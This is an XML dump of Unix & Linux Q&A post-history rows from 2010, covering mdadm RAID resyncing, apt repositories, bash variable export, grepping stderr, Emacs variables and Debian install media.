  <row Id="7475" PostHistoryTypeId="2" PostId="3508" RevisionGUID="9ea32741-1ad6-45fc-bda1-37918450a278" CreationDate="2010-10-25T22:17:53.440" UserId="1779" Text="Okay, clearly one of your disks is not active in the array right now.  Let's say, under the current enumeration, that `/dev/md0` is missing `/dev/sdb1`.&#xD;&#xA;&#xD;&#xA;To add `/dev/sdb1` back in its former state:&#xD;&#xA;&#xD;&#xA;    mdadm -a --re-add /dev/md0 /dev/sdb1&#xD;&#xA;&#xD;&#xA;You may want to re-check the array to make sure the data is all consistent.&#xD;&#xA;&#xD;&#xA;    echo check &gt;&gt;/sys/block/md0/md/sync_action&#xD;&#xA;&#xD;&#xA;To re-mirror from scratch:&#xD;&#xA;&#xD;&#xA;Make sure that `/dev/sdb1` is completely removed from the array.&#xD;&#xA;&#xD;&#xA;    mdadm -f /dev/md0 /dev/sdb1&#xD;&#xA;    mdadm -r /dev/md0 /dev/sdb1&#xD;&#xA;&#xD;&#xA;Wipe out the configuration on `/dev/sdb1` so that `mdadm` will add it to back to the array as if it were a completely new disk.&#xD;&#xA;&#xD;&#xA;    mdadm --zero-superblock /dev/sdb1&#xD;&#xA;&#xD;&#xA;Add `/dev/sdb1` back to the array as a member.&#xD;&#xA;&#xD;&#xA;    mdadm -a /dev/md0 /dev/sdb1" />
  <row Id="7476" PostHistoryTypeId="5" PostId="3506" RevisionGUID="85b091b8-61ef-4f7b-b589-ee45d6ebd1c9" CreationDate="2010-10-25T22:19:13.150" UserId="1207" Comment="added 395 characters in body" Text="The problem is that you have just added `main` to your sources.list.  I believe that `acroread` is in the non-free part of the respository, so you will want to add:&#xD;&#xA;&#xD;&#xA;    deb http://debian-multimedia.org squeeze non-free&#xD;&#xA;&#xD;&#xA;to `/etc/apt/sources.list`, and then update and install.&#xD;&#xA;&#xD;&#xA;Traditionally, even in third-party repos, `main` only includes files that conform to the [Debian Free Software Guidelines][1].  While `non-free` contains software that &#xD;&#xA; &gt; Packages [that] have some onerous license condition restricting use or redistribution of the software.&#xD;&#xA;&#xD;&#xA;(from http://www.debian.org/distrib/packages)&#xD;&#xA;&#xD;&#xA;  [1]: http://www.debian.org/social_contract#guidelinesBlockquote" />
  <row Id="7477" PostHistoryTypeId="2" PostId="3509" RevisionGUID="6da5a731-7cd2-43be-90fc-e6273c580ffd" CreationDate="2010-10-25T22:25:05.263" UserId="73" Text="Exported variables are carried into the environment of processes started by the shell that exported them, while non-exported variables are local to the current process only. From the `export` man page:&#xD;&#xA;&#xD;&#xA;&gt; The shell shall give the export attribute to the variables corresponding to the specified names, which shall cause them to be in the environment of subsequently executed commands.&#xD;&#xA;&#xD;&#xA;`set` outputs the current environment, which includes any local non-exported variables. `env` is used to launch programs in a new environment, and with no arguments will output what that new environment would be. Since `env` is creating a new environment, only exported variables are brought through, as is the case for any program launched from that shell. For example, spawning a second shell within the first (I used `$$` to represent prompts in the inner shell):&#xD;&#xA;&#xD;&#xA;    $ FOO=BAR&#xD;&#xA;    $ bash&#xD;&#xA;    $$ echo $FOO&#xD;&#xA;    $$ exit&#xD;&#xA;    $ export FOO=BAR&#xD;&#xA;    $ bash&#xD;&#xA;    $$ echo $FOO&#xD;&#xA;    BAR&#xD;&#xA;    $$&#xD;&#xA;" />
  <row Id="7478" PostHistoryTypeId="6" PostId="3507" RevisionGUID="42741238-8c4e-4612-9fd6-d6679e6ce08c" CreationDate="2010-10-25T22:27:21.643" UserId="73" Comment="edited tags" Text="ébashàévariablesàéenvàéexportà" />
  <row Id="7479" PostHistoryTypeId="2" PostId="3510" RevisionGUID="d269a539-3bd6-466e-b9a2-30e930180be3" CreationDate="2010-10-25T22:33:48.670" UserId="1170" Text="The bash builtin command `set`, if invoked without arguments, will print all environment variables, but also all defined functions. this makes the output unusable for humans and difficult to `grep`.&#xD;&#xA;&#xD;&#xA;How can i make the bash builtin command `set` print only variables and not functions?&#xD;&#xA;&#xD;&#xA;Are there other command which print only the environment variables, without the functions?&#xD;&#xA;&#xD;&#xA;Note: bash differentiates between environment variables which are exported and those which are not. see here http://unix.stackexchange.com/questions/3507/" />
  <row Id="7480" PostHistoryTypeId="1" PostId="3510" RevisionGUID="d269a539-3bd6-466e-b9a2-30e930180be3" CreationDate="2010-10-25T22:33:48.670" UserId="1170" Text="How to print all environment variables defined (but not exported) in bash" />
  <row Id="7481" PostHistoryTypeId="3" PostId="3510" RevisionGUID="d269a539-3bd6-466e-b9a2-30e930180be3" CreationDate="2010-10-25T22:33:48.670" UserId="1170" Text="ébashà" />
  <row Id="7482" PostHistoryTypeId="5" PostId="3506" RevisionGUID="3b41cd22-9a38-4274-ba78-d176d67ea187" CreationDate="2010-10-25T22:50:39.850" UserId="1207" Comment="deleted 15 characters in body" Text="The problem is that you have just added `main` to your sources.list.  I believe that `acroread` is in the non-free part of the respository, so you will want to add:&#xD;&#xA;&#xD;&#xA;    deb http://debian-multimedia.org squeeze non-free&#xD;&#xA;&#xD;&#xA;to `/etc/apt/sources.list`, and then update and install.&#xD;&#xA;&#xD;&#xA;Traditionally, even in third-party repos, `main` only includes files that conform to the [Debian Free Software Guidelines][1].  While `non-free` contains&#xD;&#xA; &gt; Packages [that] have some onerous license condition restricting use or redistribution of the software.&#xD;&#xA;&#xD;&#xA;(from http://www.debian.org/distrib/packages)&#xD;&#xA;&#xD;&#xA;  [1]: http://www.debian.org/social_contract#guidelinesBlockquote" />
  <row Id="7483" PostHistoryTypeId="2" PostId="3511" RevisionGUID="c4be8c00-eccd-44d4-b029-c3dc51049bde" CreationDate="2010-10-25T23:17:14.527" UserId="4" Text="RedHat/CentOS and Ubuntu both provide packages to verify the contents of a package. CentOS uses [rpm -V][1]. Ubuntu uses [debsums][2].&#xD;&#xA;&#xD;&#xA;I've spoken to admins who run these tools to verify the packages on their systems. Do these tools enhance the security of a system, or do they provide a false sense of security?&#xD;&#xA;&#xD;&#xA;Likewise, do these tools increase the stability of a system, since they can help detect problems after filesystem corruption?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.rpm.org/max-rpm/ch-rpm-verify.html&#xD;&#xA;  [2]: http://askubuntu.com/questions/9463/what-is-the-apt-equivalent-to-rpm-v-verify-installed-packages" />
  <row Id="7484" PostHistoryTypeId="1" PostId="3511" RevisionGUID="c4be8c00-eccd-44d4-b029-c3dc51049bde" CreationDate="2010-10-25T23:17:14.527" UserId="4" Text="Does verifying packages enhance security and/or stability of a system?" />
  <row Id="7485" PostHistoryTypeId="3" PostId="3511" RevisionGUID="c4be8c00-eccd-44d4-b029-c3dc51049bde" CreationDate="2010-10-25T23:17:14.527" UserId="4" Text="éubuntuàésecurityàérhelàéstabilityà" />
  <row Id="7486" PostHistoryTypeId="5" PostId="3048" RevisionGUID="65589c95-1b88-4776-b6f9-27ea745cea80" CreationDate="2010-10-25T23:49:57.513" UserId="29" Comment="ad note about how boot gets screwed up." Text="I ran&#xD;&#xA;&#xD;&#xA;    mdadm -A /dev/md0 /dev/sda1 /dev/sdb1&#xD;&#xA;&#xD;&#xA;Only `/dev/sdb1` was loaded into the array though. I have a few more arrays on the same two drives too. Each time the partition on `sda` failed. `dmesg` told me that `sda` was out of sync... Since this was from a rescue cd. I've disconnected `sda` (hardware wise) for the time being, since it was preventing me from booting.&#xD;&#xA;&#xD;&#xA;How should I proceed? Is this likely the cause of a borked drive? I had some weird fs issues the other day I couldn't track down (maybe a precursor): missing files that later magically re-appeared. Maybe a missing cable?&#xD;&#xA;&#xD;&#xA;The main question is how do I try to re-sync the drive?&#xD;&#xA;&#xD;&#xA;    cat /proc/mdstat&#xD;&#xA;    Personalities : [raid10] &#xD;&#xA;    md3 : active raid10 sda4[1]&#xD;&#xA;          955683840 blocks super 1.2 512K chunks 2 far-copies [2/1] [_U]&#xD;&#xA;          &#xD;&#xA;    md2 : active raid10 sda3[1]&#xD;&#xA;          10483712 blocks super 1.2 512K chunks 2 far-copies [2/1] [_U]&#xD;&#xA;          &#xD;&#xA;    md1 : active raid10 sda2[1]&#xD;&#xA;          10484736 blocks 512K chunks 2 far-copies [2/1] [_U]&#xD;&#xA;          &#xD;&#xA;    md0 : active raid10 sda1[1]&#xD;&#xA;          101376 blocks 512K chunks 2 far-copies [2/1] [_U]&#xD;&#xA;          &#xD;&#xA;    unused devices: &lt;none&gt;&#xD;&#xA;&#xD;&#xA;*update*&#xD;&#xA;&#xD;&#xA;I ran `badblocks` on the whole other drive, and a long `smartctl` test, it found no problems.&#xD;&#xA;&#xD;&#xA;a request output of `mdadm -D /dev/md0` *(I have md0-3 if others are needed)*&#xD;&#xA;&#xD;&#xA;    /dev/md0:&#xD;&#xA;            Version : 0.90&#xD;&#xA;      Creation Time : Mon May 31 20:24:14 2010&#xD;&#xA;         Raid Level : raid10&#xD;&#xA;         Array Size : 101376 (99.02 MiB 103.81 MB)&#xD;&#xA;      Used Dev Size : 101376 (99.02 MiB 103.81 MB)&#xD;&#xA;       Raid Devices : 2&#xD;&#xA;      Total Devices : 1&#xD;&#xA;    Preferred Minor : 0&#xD;&#xA;        Persistence : Superblock is persistent&#xD;&#xA;    &#xD;&#xA;        Update Time : Mon Oct 25 07:58:25 2010&#xD;&#xA;              State : clean, degraded&#xD;&#xA;     Active Devices : 1&#xD;&#xA;    Working Devices : 1&#xD;&#xA;     Failed Devices : 0&#xD;&#xA;      Spare Devices : 0&#xD;&#xA;    &#xD;&#xA;             Layout : far=2&#xD;&#xA;         Chunk Size : 512K&#xD;&#xA;    &#xD;&#xA;               UUID : 30ffe1d2:f5759995:820bb796:b5530bd2 (local to host slave-iv)&#xD;&#xA;             Events : 0.212&#xD;&#xA;    &#xD;&#xA;        Number   Major   Minor   RaidDevice State&#xD;&#xA;           0       0        0        0      removed&#xD;&#xA;           1       8        1        1      active sync   /dev/sda1&#xD;&#xA;&#xD;&#xA;Since I've found no actual issues with the drive, but obviously something went wrong, I'm wondering what I should do next? *as of today a full backup of important data is in place*&#xD;&#xA;&#xD;&#xA;*update 2* Whenever I try to add what was `sda` back in (at least without wiping it) it screw's up my boot process with a kernel magic number error. I'm guessing because the kernel version got out of sync. currently this drive is in an external enclosure as `sdd`. Should I re-add (re-sync) this drive while it's connected via usb? will that 'cause problems? " />
  <row Id="7487" PostHistoryTypeId="5" PostId="3048" RevisionGUID="6f978856-e3a3-4787-a3f2-f2c40ee7c953" CreationDate="2010-10-26T00:43:15.997" UserId="29" Comment="add partition info" Text="I ran&#xD;&#xA;&#xD;&#xA;    mdadm -A /dev/md0 /dev/sda1 /dev/sdb1&#xD;&#xA;&#xD;&#xA;Only `/dev/sdb1` was loaded into the array though. I have a few more arrays on the same two drives too. Each time the partition on `sda` failed. `dmesg` told me that `sda` was out of sync... Since this was from a rescue cd. I've disconnected `sda` (hardware wise) for the time being, since it was preventing me from booting.&#xD;&#xA;&#xD;&#xA;How should I proceed? Is this likely the cause of a borked drive? I had some weird fs issues the other day I couldn't track down (maybe a precursor): missing files that later magically re-appeared. Maybe a missing cable?&#xD;&#xA;&#xD;&#xA;The main question is how do I try to re-sync the drive?&#xD;&#xA;&#xD;&#xA;    cat /proc/mdstat&#xD;&#xA;    Personalities : [raid10] &#xD;&#xA;    md3 : active raid10 sda4[1]&#xD;&#xA;          955683840 blocks super 1.2 512K chunks 2 far-copies [2/1] [_U]&#xD;&#xA;          &#xD;&#xA;    md2 : active raid10 sda3[1]&#xD;&#xA;          10483712 blocks super 1.2 512K chunks 2 far-copies [2/1] [_U]&#xD;&#xA;          &#xD;&#xA;    md1 : active raid10 sda2[1]&#xD;&#xA;          10484736 blocks 512K chunks 2 far-copies [2/1] [_U]&#xD;&#xA;          &#xD;&#xA;    md0 : active raid10 sda1[1]&#xD;&#xA;          101376 blocks 512K chunks 2 far-copies [2/1] [_U]&#xD;&#xA;          &#xD;&#xA;    unused devices: &lt;none&gt;&#xD;&#xA;&#xD;&#xA;*update*&#xD;&#xA;&#xD;&#xA;I ran `badblocks` on the whole other drive, and a long `smartctl` test, it found no problems.&#xD;&#xA;&#xD;&#xA;a request output of `mdadm -D /dev/md0` *(I have md0-3 if others are needed)*&#xD;&#xA;&#xD;&#xA;    /dev/md0:&#xD;&#xA;            Version : 0.90&#xD;&#xA;      Creation Time : Mon May 31 20:24:14 2010&#xD;&#xA;         Raid Level : raid10&#xD;&#xA;         Array Size : 101376 (99.02 MiB 103.81 MB)&#xD;&#xA;      Used Dev Size : 101376 (99.02 MiB 103.81 MB)&#xD;&#xA;       Raid Devices : 2&#xD;&#xA;      Total Devices : 1&#xD;&#xA;    Preferred Minor : 0&#xD;&#xA;        Persistence : Superblock is persistent&#xD;&#xA;    &#xD;&#xA;        Update Time : Mon Oct 25 07:58:25 2010&#xD;&#xA;              State : clean, degraded&#xD;&#xA;     Active Devices : 1&#xD;&#xA;    Working Devices : 1&#xD;&#xA;     Failed Devices : 0&#xD;&#xA;      Spare Devices : 0&#xD;&#xA;    &#xD;&#xA;             Layout : far=2&#xD;&#xA;         Chunk Size : 512K&#xD;&#xA;    &#xD;&#xA;               UUID : 30ffe1d2:f5759995:820bb796:b5530bd2 (local to host slave-iv)&#xD;&#xA;             Events : 0.212&#xD;&#xA;    &#xD;&#xA;        Number   Major   Minor   RaidDevice State&#xD;&#xA;           0       0        0        0      removed&#xD;&#xA;           1       8        1        1      active sync   /dev/sda1&#xD;&#xA;&#xD;&#xA;Since I've found no actual issues with the drive, but obviously something went wrong, I'm wondering what I should do next? *as of today a full backup of important data is in place*&#xD;&#xA;&#xD;&#xA;*update 2* Whenever I try to add what was `sda` back in (at least without wiping it) it screw's up my boot process with a kernel magic number error. I'm guessing because the kernel version got out of sync. currently this drive is in an external enclosure as `sdd`. Should I re-add (re-sync) this drive while it's connected via usb? will that 'cause problems? &#xD;&#xA;&#xD;&#xA;    df&#xD;&#xA;    Filesystem            Size  Used Avail Use% Mounted on&#xD;&#xA;    udev                   10M  284K  9.8M   3% /dev&#xD;&#xA;    /dev/md1              9.9G  7.0G  2.4G  75% /&#xD;&#xA;    shm                   3.0G  1.5M  3.0G   1% /dev/shm&#xD;&#xA;    /dev/md0               96M   15M   77M  16% /boot&#xD;&#xA;    /dev/md2              9.9G  6.5G  3.0G  69% /var&#xD;&#xA;    /dev/md3              898G  451G  402G  53% /home&#xD;&#xA;    none                  1.0G   45M  980M   5% /tmp&#xD;&#xA;    /dev/sdb1             992M   36M  956M   4% /media/D4A4-B7C1&#xD;&#xA;&#xD;&#xA;each md drive has an sda/sdb corresponding. it was the sda drive (or 0 drive) in the array that I had to pull." />
  <row Id="7488" PostHistoryTypeId="2" PostId="3512" RevisionGUID="7bf30df0-a25f-4e58-b374-9683be909c49" CreationDate="2010-10-26T00:58:10.427" UserId="2150" Text="I am learning emacs lisp.  One of the things I was playing with was setting variables.  So I go and set fill-column to 50 (setq fill-column 60).  After this evaluating fill-column does give me 60, but the function fill-paragraph ignores this.  How would I go about figuring out why this happens?&#xD;&#xA;&#xD;&#xA;Thanks.&#xD;&#xA;&#xD;&#xA;Best,&#xD;&#xA;Bart" />
  <row Id="7489" PostHistoryTypeId="1" PostId="3512" RevisionGUID="7bf30df0-a25f-4e58-b374-9683be909c49" CreationDate="2010-10-26T00:58:10.427" UserId="2150" Text="Tracing the workings of a function in Emacs" />
  <row Id="7490" PostHistoryTypeId="3" PostId="3512" RevisionGUID="7bf30df0-a25f-4e58-b374-9683be909c49" CreationDate="2010-10-26T00:58:10.427" UserId="2150" Text="éemacsà" />
  <row Id="7491" PostHistoryTypeId="2" PostId="3513" RevisionGUID="76aa467d-eba6-4721-a88d-f4f3f8def5c0" CreationDate="2010-10-26T01:07:10.023" UserId="2150" Text="I upvoted Shamster: this is the reason I switched from vim to emacs (that and proofgeneral) the easy of use of having one buffer with say python code and the other with ipython running is very useful.  With some quick key combinations you can send code to the interpreter, code you have used in the interpreter window can be cut and pasted with the emacs cut/paste system into the code window.  Python here is just and example, I have used the same interaction with sml and lisp.  (And now I am finally getting to really learn emacs lisp to get the full flexibility out of it).&#xD;&#xA;&#xD;&#xA;Best,&#xD;&#xA;Bart" />
  <row Id="7492" PostHistoryTypeId="2" PostId="3514" RevisionGUID="1c0baa0e-cccf-465f-9b92-7b8d11c8a355" CreationDate="2010-10-26T01:42:14.300" UserId="2045" Text="I am using ffmpeg to get the meta info of an audio clip. But I am unable to grep it.&#xD;&#xA;&#xD;&#xA;        $ ffmpeg -i 01-Daemon.mp3  |grep -i Duration&#xD;&#xA;        FFmpeg version SVN-r15261, Copyright (c) 2000-2008 Fabrice Bellard, et al.&#xD;&#xA;          configuration: --prefix=/usr --bindir=/usr/bin --datadir=/usr/share/ffmpeg --incdir=/usr/include/ffmpeg --libdir=/usr/lib --mandir=/usr/share/man --arch=i386 --extra-cflags=-O2 &#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;I checked, this ffmpeg output is directed to error stream. &#xD;&#xA;&#xD;&#xA;    $ ffmpeg -i 01-Daemon.mp3 2&gt; /dev/null&#xD;&#xA;    $&#xD;&#xA;&#xD;&#xA;So I think that grep is unable to read error stream to catch matching lines. How can we enable grep to read error stream?&#xD;&#xA;&#xD;&#xA;Using [nixCraft](http://www.cyberciti.biz/faq/redirecting-stderr-to-stdout/) link, I redirected error stream to output stream, then grep worked.&#xD;&#xA;&#xD;&#xA;    $ffmpeg -i 01-Daemon.mp3 2&gt;&amp;1 |grep -i Duration&#xD;&#xA;      Duration: 01:15:12.33, start: 0.000000, bitrate: 64 kb/s&#xD;&#xA;&#xD;&#xA;But what if we do not want to redirect error stream to output stream?&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="7493" PostHistoryTypeId="1" PostId="3514" RevisionGUID="1c0baa0e-cccf-465f-9b92-7b8d11c8a355" CreationDate="2010-10-26T01:42:14.300" UserId="2045" Text="How to grep error stream?" />
  <row Id="7494" PostHistoryTypeId="3" PostId="3514" RevisionGUID="1c0baa0e-cccf-465f-9b92-7b8d11c8a355" CreationDate="2010-10-26T01:42:14.300" UserId="2045" Text="égrepàéioöredirectionàéffmpegà" />
  <row Id="7495" PostHistoryTypeId="5" PostId="3508" RevisionGUID="be57c819-2c67-4b11-ac12-a7e0ba044cda" CreationDate="2010-10-26T01:42:40.853" UserId="1779" Comment="added 1110 characters in body" Text="Okay, clearly one of your disks is not active in the array right now.  Let's say, under the current enumeration, that `/dev/md0` is missing `/dev/sdb1`.&#xD;&#xA;&#xD;&#xA;To add `/dev/sdb1` back in its former state:&#xD;&#xA;&#xD;&#xA;    mdadm -a --re-add /dev/md0 /dev/sdb1&#xD;&#xA;&#xD;&#xA;You may want to re-check the array to make sure the data is all consistent.&#xD;&#xA;&#xD;&#xA;    echo check &gt;&gt;/sys/block/md0/md/sync_action&#xD;&#xA;&#xD;&#xA;To re-mirror from scratch:&#xD;&#xA;&#xD;&#xA;Make sure that `/dev/sdb1` is completely removed from the array.&#xD;&#xA;&#xD;&#xA;    mdadm -f /dev/md0 /dev/sdb1&#xD;&#xA;    mdadm -r /dev/md0 /dev/sdb1&#xD;&#xA;&#xD;&#xA;Wipe out the configuration on `/dev/sdb1` so that `mdadm` will add it to back to the array as if it were a completely new disk.&#xD;&#xA;&#xD;&#xA;    mdadm --zero-superblock /dev/sdb1&#xD;&#xA;&#xD;&#xA;Add `/dev/sdb1` back to the array as a member.&#xD;&#xA;&#xD;&#xA;    mdadm -a /dev/md0 /dev/sdb1&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Syncing a disk on USB works, slowly.&#xD;&#xA;&#xD;&#xA;However, I would guess that your problem is that your bootloader isn't installed properly on your second drive, which is preventing you from booting when it's inserted.&#xD;&#xA;&#xD;&#xA;You could swap the order of those two drives, so that your system boots off of the drive with known good configuration.&#xD;&#xA;&#xD;&#xA;Once you are up and running and can sync both drives, you should re-install the bootloader on both drives.  This way you can always boot no matter which drive is missing or enumerates first.&#xD;&#xA;&#xD;&#xA;How to re-install your bootloader varies:&#xD;&#xA;&#xD;&#xA;  - If you are using `lilo` ≥ 22.0, specify `boot = /dev/md0` and `raid-extra-boot = mbr` in `/etc/lilo.conf` and re-run `lilo`.  If you are using an older `lilo`, create two lilo configurations, one for each disk in the the array, and install `lilo` to each disk individually.&#xD;&#xA;  - If you are using Grub, try to run `grub-install /dev/sda` and `grub-install /dev/sdb`.  If that fails, then try using the Grub shell to `setup (hd0)` and `setup (hd1)` (`cat /boot/grub/device.map` to see what Grub's hard disk numberings are)." />
  <row Id="7496" PostHistoryTypeId="5" PostId="3514" RevisionGUID="a9407872-541b-4d33-81d0-ddec644bf441" CreationDate="2010-10-26T01:51:25.647" UserId="2045" Comment="deleted 2 characters in body; edited title" Text="I am using ffmpeg to get the meta info of an audio clip. But I am unable to grep it.&#xD;&#xA;&#xD;&#xA;        $ ffmpeg -i 01-Daemon.mp3  |grep -i Duration&#xD;&#xA;        FFmpeg version SVN-r15261, Copyright (c) 2000-2008 Fabrice Bellard, et al.&#xD;&#xA;          configuration: --prefix=/usr --bindir=/usr/bin --datadir=/usr/share/ffmpeg --incdir=/usr/include/ffmpeg --libdir=/usr/lib --mandir=/usr/share/man --arch=i386 --extra-cflags=-O2 &#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;I checked, this ffmpeg output is directed to stderr.&#xD;&#xA;&#xD;&#xA;    $ ffmpeg -i 01-Daemon.mp3 2&gt; /dev/null&#xD;&#xA;    $&#xD;&#xA;&#xD;&#xA;So I think that grep is unable to read error stream to catch matching lines. How can we enable grep to read error stream?&#xD;&#xA;&#xD;&#xA;Using [nixCraft](http://www.cyberciti.biz/faq/redirecting-stderr-to-stdout/) link, I redirected standard error stream to standard output stream, then grep worked.&#xD;&#xA;&#xD;&#xA;    $ffmpeg -i 01-Daemon.mp3 2&gt;&amp;1 |grep -i Duration&#xD;&#xA;      Duration: 01:15:12.33, start: 0.000000, bitrate: 64 kb/s&#xD;&#xA;&#xD;&#xA;But what if we do not want to redirect stderr to stdout?&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="7497" PostHistoryTypeId="4" PostId="3514" RevisionGUID="a9407872-541b-4d33-81d0-ddec644bf441" CreationDate="2010-10-26T01:51:25.647" UserId="2045" Comment="deleted 2 characters in body; edited title" Text="How to grep standard error stream (stderr)?" />
  <row Id="7498" PostHistoryTypeId="2" PostId="3515" RevisionGUID="1517dd31-b348-4151-b206-251f8975251b" CreationDate="2010-10-26T02:35:37.993" UserId="2343" Text="I've been using Linux (Ubuntu) for a couple of months now, and I want to try Debian to see how different it is (... pre-emptive planning, in case I don't like Ubuntu's upcoming &quot;Unity&quot; :).  &#xD;&#xA;&#xD;&#xA;Well, I've already found a couple of differences..   &#xD;&#xA;The first one that Debian-Live means **only**-Live.  &#xD;&#xA;The second difference has stopped me in my tracks. There doesn't seem to be a specific **.iso** CD to download / install. &#xD;&#xA;&#xD;&#xA;I am confronted with a list of 31 CDs ... &#xD;&#xA;&#xD;&#xA;    debian-506-i386-CD-1.iso&#xD;&#xA;    -to-&#xD;&#xA;    debian-506-i386-CD-31.iso&#xD;&#xA;&#xD;&#xA;What is this all about? .. and which **.iso** do I need for a vanilla (32 bit) desktop install? &#xD;&#xA;" />
  <row Id="7499" PostHistoryTypeId="1" PostId="3515" RevisionGUID="1517dd31-b348-4151-b206-251f8975251b" CreationDate="2010-10-26T02:35:37.993" UserId="2343" Text="31 Debian CDs  -- Why? and which do I need for a vanilla desktop install?" />
  <row Id="7500" PostHistoryTypeId="3" PostId="3515" RevisionGUID="1517dd31-b348-4151-b206-251f8975251b" CreationDate="2010-10-26T02:35:37.993" UserId="2343" Text="éinstallàédebianàécdà" />
  <row Id="7501" PostHistoryTypeId="2" PostId="3516" RevisionGUID="afafdd61-4a22-478f-8da0-14c58a20911f" CreationDate="2010-10-26T03:14:57.650" UserId="1207" Text="The Debian CD set contains all of the packages in the main repository.  Most of this software can easily be downloaded later.  According to [the Debian wiki][1]:&#xD;&#xA;&#xD;&#xA;&gt;Although there are over 30 CDs (or 5 DVDs) in a full set, only the first CD is required to install Debian. The additional CDs are optional and include extra packages, that can be downloaded individually during the installation, or later.&#xD;&#xA;&#xD;&#xA;Just installing CD-1 will limit what software you can install during the installation process, but after installing with the first CD, other software can be downloaded from the Debian repositories, just as with Ubuntu.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://wiki.debian.org/DebianInstall#DownloadandburnanetworkinstallCD" />
  <row Id="7502" PostHistoryTypeId="2" PostId="3517" RevisionGUID="b36ca979-093e-4df5-8d63-ca427e45c94f" CreationDate="2010-10-26T03:16:33.593" UserId="2421" Text="To instrument an Elisp function for debugging, load its source code, put point inside the function, and type `M-x edebug-defun`.  Then, when the function is executed, [the debugger][1] will activate automatically.&#xD;&#xA;&#xD;&#xA;In your particular case, `fill-column` becomes buffer local when set (see [make-variable-buffer-local][2]).  You probably set it in the wrong buffer.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gnu.org/software/emacs/manual/html_node/elisp/Edebug.html&#xD;&#xA;  [2]: http://www.gnu.org/software/emacs/manual/html_node/elisp/Creating-Buffer_002dLocal.html#index-make_002dvariable_002dbuffer_002dlocal-623" />
  <row Id="7503" PostHistoryTypeId="2" PostId="3518" RevisionGUID="50962767-2824-46e8-b58e-e5c8875e9536" CreationDate="2010-10-26T03:45:25.397" UserId="250" Text="Well they are just there to make sure that your package (downloaded or copied from somewhere) is not corrupted. After you first download or copy the package it is helpful to prevent you from installing a broken package.&#xD;&#xA;&#xD;&#xA;A broken package may work or may not work (poor stability). I don't think we should care about security when the system is not even stable.&#xD;&#xA;&#xD;&#xA;After the package has been installed, you often don't need to run the verification again, unless there has been a disk failure or a power outage (or unless you are really paranoid about it). In case of such incidents, the file system can be damaged, leading to broken packages." />
  <row Id="7504" PostHistoryTypeId="2" PostId="3519" RevisionGUID="8ce11b49-5a64-4292-99f7-63c86e3852dd" CreationDate="2010-10-26T03:55:16.183" UserId="250" Text="Hi Andrew,&#xD;&#xA;&#xD;&#xA;When you pipe the output of one command to another (using `|`), you are only redirecting standard output. So that should explain why&#xD;&#xA;&#xD;&#xA;    ffmpeg -i 01-Daemon.mp3 | grep -i Duration&#xD;&#xA;doesn't output what you wanted (it does work, though).&#xD;&#xA;&#xD;&#xA;If you don't want to redirect error output to standard output you can redirect error output to a file, then grep it later&#xD;&#xA;&#xD;&#xA;    ffmpeg -i 01-Daemon.mp3 2&gt; /tmp/ffmpeg-error&#xD;&#xA;    grep -i Duration /tmp/ffmpeg-error" />
  <row Id="7505" PostHistoryTypeId="2" PostId="3520" RevisionGUID="78a6f9f9-6eb2-4874-b9a6-d94270008f96" CreationDate="2010-10-26T03:59:33.340" UserId="1207" Text="I am unsure how one can make `set` print only variables.  However by looking at the output of `set`, I was able to come up with the following that seems to grab just variables:&#xD;&#xA;&#xD;&#xA;    $ set | grep &quot;^\([[:alnum:]]\|[[:punct:]]\)\+=&quot; &#xD;&#xA;&#xD;&#xA;Basically, I am looking for lines that start with letters, numbers, or punctuation followed by a &quot;=&quot;.  From the output that I saw, this grabs all of the variables; however, I doubt that this is very portable.&#xD;&#xA;&#xD;&#xA;If, as your title suggests, you want to subtract from this list the variables that are exported and thus get a list of non-exported variables, then you could do something like this&#xD;&#xA;&#xD;&#xA;    $ set | grep &quot;^\([[:alnum:]]\|[[:punct:]]\)\+=&quot; | sort &gt; ./testvars &amp;&amp; env | sort | comm -23 ./setvars - &#xD;&#xA;&#xD;&#xA;To break this down a bit, here is what it does: &#xD;&#xA;&#xD;&#xA;1. `set | grep &quot;^\([[:alnum:]]\|[[:punct:]]\)\+=&quot; | sort &gt; ./setvars` : This hopefully gets all of the variables (as discussed before), sorts them, and sticks the result in a file.&#xD;&#xA;2. `&amp;&amp; env | sort `: After the previous command is complete, we are going to call `env` and sort it's output.&#xD;&#xA;3. `| comm -23 ./setvars - `: Finally, we pipe the sorted output of `env` into `comm` and use the `-23` option to print the lines that are unique to the first argument, in this case, the lines unique to our output from set.&#xD;&#xA;&#xD;&#xA;When you are done you might want to cleanup the temp file that it created with the command `rm ./setvars`" />
  <row Id="7506" PostHistoryTypeId="5" PostId="3520" RevisionGUID="c29ca28b-3279-4075-9477-ecd6ad8f14e7" CreationDate="2010-10-26T04:07:30.543" UserId="1207" Comment="deleted 2 characters in body" Text="I am unsure how one can make `set` print only variables.  However by looking at the output of `set`, I was able to come up with the following that seems to grab just variables:&#xD;&#xA;&#xD;&#xA;    $ set | grep &quot;^\([[:alnum:]]\|[[:punct:]]\)\+=&quot; &#xD;&#xA;&#xD;&#xA;Basically, I am looking for lines that start with letters, numbers, or punctuation followed by a &quot;=&quot;.  From the output that I saw, this grabs all of the variables; however, I doubt that this is very portable.&#xD;&#xA;&#xD;&#xA;If, as your title suggests, you want to subtract from this list the variables that are exported and thus get a list of non-exported variables, then you could do something like this&#xD;&#xA;&#xD;&#xA;    $ set | grep &quot;^\([[:alnum:]]\|[[:punct:]]\)\+=&quot; | sort &gt; ./testvars &amp;&amp; env | sort | comm -23 ./setvars - &#xD;&#xA;&#xD;&#xA;To break this down a bit, here is what it does: &#xD;&#xA;&#xD;&#xA;1. `set | grep &quot;^\([[:alnum:]]\|[[:punct:]]\)\+=&quot; | sort &gt; ./setvars` : This hopefully gets all of the variables (as discussed before), sorts them, and sticks the result in a file.&#xD;&#xA;2. `&amp;&amp; env | sort `: After the previous command is complete, we are going to call `env` and sort its output.&#xD;&#xA;3. `| comm -23 ./setvars - `: Finally, we pipe the sorted output of `env` into `comm` and use the `-23` option to print the lines that are unique to the first argument, in this case the lines unique to our output from set.&#xD;&#xA;&#xD;&#xA;When you are done you might want to cleanup the temp file that it created with the command `rm ./setvars`" />
